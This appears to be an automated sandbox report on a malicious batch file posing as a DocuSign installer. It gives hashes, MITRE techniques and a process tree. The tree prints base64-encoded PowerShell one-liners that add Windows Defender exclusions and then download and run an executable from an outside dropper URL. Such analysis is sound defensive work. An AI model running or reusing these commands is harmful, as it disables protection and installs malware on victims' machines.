de365fbad1d040289c2fd84f322ca8dc8f9e66fbc2e8754dfe69313ff4989c47

Analysis

max time kernel
298s
max time network
299s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 06:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Docusign_Installer.bat
Size 11.8MB
Sample260823-hdazzshe68
SHA256 de365fbad1d040289c2fd84f322ca8dc8f9e66fbc2e8754dfe69313ff4989c47
MD5 a56e447daceeddd5c03bae56c61f4457
SHA1 ca2f14dd181b8481553d8b9f63bb0f8fe64c9473
SHA512 05e3253bbf91bb3d862f02bb4a3a546a9dc5c76b8d29f36c9d568e5a1afa022039f433085c654db8d26517a81a13e9b32f8a84cff6f127e4d59d85773a8e1266
SSDEEP 49152:Kppppppppppppppppppppppppppppppppppppppppppppppppppppppppl:2
TLSH
T187C6F1464FE70BE2FA482D8C3D282546151B7AB27A60D1BF1DF730458BBCA9D203579E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://dsyscod.com/docu.exe

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5560	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
824	powershell.exe
5560	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4796	cmd.exe
4220	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
824	powershell.exe
824	powershell.exe
5560	powershell.exe
5560	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	824	powershell.exe
Token: SeIncreaseQuotaPrivilege	824	powershell.exe
Token: SeSecurityPrivilege	824	powershell.exe
Token: SeTakeOwnershipPrivilege	824	powershell.exe
Token: SeLoadDriverPrivilege	824	powershell.exe
Token: SeSystemProfilePrivilege	824	powershell.exe
Token: SeSystemtimePrivilege	824	powershell.exe
Token: SeProfSingleProcessPrivilege	824	powershell.exe
Token: SeIncBasePriorityPrivilege	824	powershell.exe
Token: SeCreatePagefilePrivilege	824	powershell.exe
Token: SeBackupPrivilege	824	powershell.exe
Token: SeRestorePrivilege	824	powershell.exe
Token: SeShutdownPrivilege	824	powershell.exe
Token: SeDebugPrivilege	824	powershell.exe
Token: SeSystemEnvironmentPrivilege	824	powershell.exe
Token: SeRemoteShutdownPrivilege	824	powershell.exe
Token: SeUndockPrivilege	824	powershell.exe
Token: SeManageVolumePrivilege	824	powershell.exe
Token: 33	824	powershell.exe
Token: 34	824	powershell.exe
Token: 35	824	powershell.exe
Token: 36	824	powershell.exe
Token: SeIncreaseQuotaPrivilege	824	powershell.exe
Token: SeSecurityPrivilege	824	powershell.exe
Token: SeTakeOwnershipPrivilege	824	powershell.exe
Token: SeLoadDriverPrivilege	824	powershell.exe
Token: SeSystemProfilePrivilege	824	powershell.exe
Token: SeSystemtimePrivilege	824	powershell.exe
Token: SeProfSingleProcessPrivilege	824	powershell.exe
Token: SeIncBasePriorityPrivilege	824	powershell.exe
Token: SeCreatePagefilePrivilege	824	powershell.exe
Token: SeBackupPrivilege	824	powershell.exe
Token: SeRestorePrivilege	824	powershell.exe
Token: SeShutdownPrivilege	824	powershell.exe
Token: SeDebugPrivilege	824	powershell.exe
Token: SeSystemEnvironmentPrivilege	824	powershell.exe
Token: SeRemoteShutdownPrivilege	824	powershell.exe
Token: SeUndockPrivilege	824	powershell.exe
Token: SeManageVolumePrivilege	824	powershell.exe
Token: 33	824	powershell.exe
Token: 34	824	powershell.exe
Token: 35	824	powershell.exe
Token: 36	824	powershell.exe
Token: SeDebugPrivilege	5560	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 4220	4796	cmd.exe	89
PID 4220 wrote to memory of 4880	4220	cmd.exe	91
PID 4880 wrote to memory of 3108	4880	net.exe	92
PID 4220 wrote to memory of 824	4220	cmd.exe	93
PID 4220 wrote to memory of 5560	4220	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\system32\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat" MINIMIZED
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4880
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcRXhjbHVzaW9uc1xQYXRocyIgLU5hbWUgIkM6XCIgLVByb3BlcnR5VHlwZSBTdHJpbmcgLVZhbHVlICIwIiAtRm9yY2U7IEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblByb2Nlc3MgIlBvd2VyU2hlbGwuZXhlIjsgQWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcIiwgIiRlbnY6VEVNUCI=')); Invoke-Expression $de"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGV4ZUZpbGUgPSBbU3lzdGVtLklPLlBhdGhdOjpDb21iaW5lKCRlbnY6VEVNUCwgJ3NldHVwLmV4ZScpOyAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHBzOi8vZHN5c2NvZC5jb20vZG9jdS5leGUnLCAkZXhlRmlsZSk7IFN0YXJ0LVByb2Nlc3MgJGV4ZUZpbGU=')); Invoke-Expression $de"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c607a4fefaa80b1545f511db0bb4e1fdb96b7027a743bc2e070f121af7559b3b
MD5 0029b966abc090d27772e9bb951d5ee1
SHA1 65d54e611cd15fcd0f2807f52689f0701435a67a
SHA512 cdbdcfba2fc8c4915205f76db5d332c7cb700baddc08f7cbdf2f866fb0867dd605fd50f7870eaf0345fca4a7cc1d4b67cb97ed3ef447bf7023fdf7e42de7091c
TLSH
T17E216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_d1kfzv3d.qov.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d1kfzv3d.qov.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH